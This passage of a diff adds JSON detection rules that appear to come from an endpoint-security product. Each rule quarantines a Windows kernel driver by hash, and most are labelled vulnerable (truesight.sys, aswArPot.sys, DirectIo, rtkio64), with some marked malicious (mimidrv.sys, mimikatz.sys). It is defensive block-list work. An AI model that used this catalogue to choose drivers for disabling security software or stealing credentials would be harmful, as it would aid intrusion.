+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140529Z",
+  "creation_date": "2026-03-23T11:45:31.140531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce9f5e121384d24730c10fa0b6dfe58d9fc571b4e7b42e15482e210a387667cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "385ae001-036a-530b-bab0-ad0d9e50e48b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482027Z",
+  "creation_date": "2026-03-23T11:45:31.482031Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482041Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "586d362f8801c8b2283d65172a3d53e87c9723efcdee239c5deb6dc6d100f2fa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "386a35ca-3db3-5a0c-b2a4-593179209368",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622909Z",
+  "creation_date": "2026-03-23T11:45:29.622911Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622916Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb7cb120d51e217ee4cc50bee619603be5eb6091634df45acc5249aed283c9be",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "386f6fd4-b740-5d17-ba4a-1f2946f6c96d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456723Z",
+  "creation_date": "2026-03-23T11:45:30.456726Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456735Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a38c26c0754f6c9389ea43dd0149db26b95742c1b37468fcf0d8ced66da1dcb9",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3871fcc7-79c8-59aa-9448-76cde3b803c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147769Z",
+  "creation_date": "2026-03-23T11:45:31.147771Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a32e9b71040976b39ddd57f36b48732ee1b9c5ad09dc0e4e905e6f59b904a301",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38764b2a-7cf1-5e17-b347-e51b416cc591",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466637Z",
+  "creation_date": "2026-03-23T11:45:30.466640Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82b7fa34ad07dbf9afa63b2f6ed37973a1b4fe35dee90b3cf5c788c15c9f08f7",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3894b46c-f3ee-5bf8-8f9e-ddd9031417a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462314Z",
+  "creation_date": "2026-03-23T11:45:30.462317Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19bfc95d74b27684e420b985589105d51772100383e7c3790a34ae311fee03d8",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38ac0c0e-9c68-5337-a655-47b970ff8ce3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821078Z",
+  "creation_date": "2026-03-23T11:45:30.821081Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821090Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61e7f9a91ef25529d85b22c39e830078b96f40b94d00756595dded9d1a8f6629",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38ae8fad-1131-56c7-b5be-610fd02d2e81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816630Z",
+  "creation_date": "2026-03-23T11:45:31.816634Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816662Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "599713f2250bd98187c4f1a8accf00552349ad4036a71c8f5fea0bf3ac7c39a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38b79364-ff42-5fd7-8927-0b3a4019337b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972491Z",
+  "creation_date": "2026-03-23T11:45:29.972493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18deed37f60b6aa8634dda2565a0485452487d7bce88afb49301a7352db4e506",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38c27d61-35b3-5c2c-830f-5d1938c600ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975828Z",
+  "creation_date": "2026-03-23T11:45:29.975832Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975840Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea80b4a2314e44061f33a7403e0740437aa34326082e97816bb6e7693866478b",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38c70840-a01c-5c5b-8448-650475888eb7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811222Z",
+  "creation_date": "2026-03-23T11:45:31.811224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d223236124458c2e7c2373cf3fa86652516bf0b5cff91b6e142867d1e3d26a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38c8d154-a778-54a5-803a-1f40a4801553",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968439Z",
+  "creation_date": "2026-03-23T11:45:29.968441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38d8cddf-a3a4-5fd6-b9b6-9073836f94e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619371Z",
+  "creation_date": "2026-03-23T11:45:29.619373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e46bb410c3bb95a1f3d61ced157c679bfac7dc997534e46b83b234a6fc5cbb14",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38e46f37-c81d-5706-87de-89ec1285dff9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146275Z",
+  "creation_date": "2026-03-23T11:45:32.146279Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146288Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "01d51df682136cce453bb1da8964073e6bc7297ce4dae7301c753bb618a69469",
+  "comment": "Vulnerable Kernel Driver (aka ampa.sys) [https://www.loldrivers.io/drivers/ea0e7351-b65c-4c5a-9863-83b9d5efcec3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38e854fa-4638-51c8-9a42-fde360771eec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144158Z",
+  "creation_date": "2026-03-23T11:45:31.144160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a51e10099132a96829845dd8f6aaac1a8ba71d9fdabacc5068580eb89211ad6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38ec04fd-1785-52ca-bbe6-752758d981cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824060Z",
+  "creation_date": "2026-03-23T11:45:30.824063Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824068Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6bd14b5f9ace4e6615309cf6d26ede5871b0e32328b165273fd278bc6759199",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38fef03b-8ddf-5749-8a51-24578c87880f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610263Z",
+  "creation_date": "2026-03-23T11:45:29.610264Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610270Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11d258e05b850dcc9ecfacccc9486e54bd928aaa3d5e9942696c323fdbd3481b",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3914e5c0-d0b4-5fec-b050-c70035fbf320",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605700Z",
+  "creation_date": "2026-03-23T11:45:29.605702Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605707Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16a2e578bc8683f17a175480fea4f53c838cfae965f1d4caa47eaf9e0b3415c1",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3914e932-423d-5d5f-977f-81c659219005",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822067Z",
+  "creation_date": "2026-03-23T11:45:30.822073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bbb894950dc19c804c44a7dce8fe9a7267311e992421faffa8912f8b8b4dc09e",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39312fba-ea16-5c58-8ba6-a609d1cc6ed0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827855Z",
+  "creation_date": "2026-03-23T11:45:30.827857Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827862Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a8a37ecd464e7120c31d23ee6c4e54f20fa714e1d2fbeb6979629784083ad4f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39464beb-a7f3-5fd9-91bd-227e6f5e4108",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159692Z",
+  "creation_date": "2026-03-23T11:45:31.159694Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159699Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44a9491e114f20b9f7a413fcfb9dbaebffbd88d8263322aa304667bb2ebf677b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39471791-6a55-512a-ae1a-be6b803dca39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470581Z",
+  "creation_date": "2026-03-23T11:45:30.470585Z",
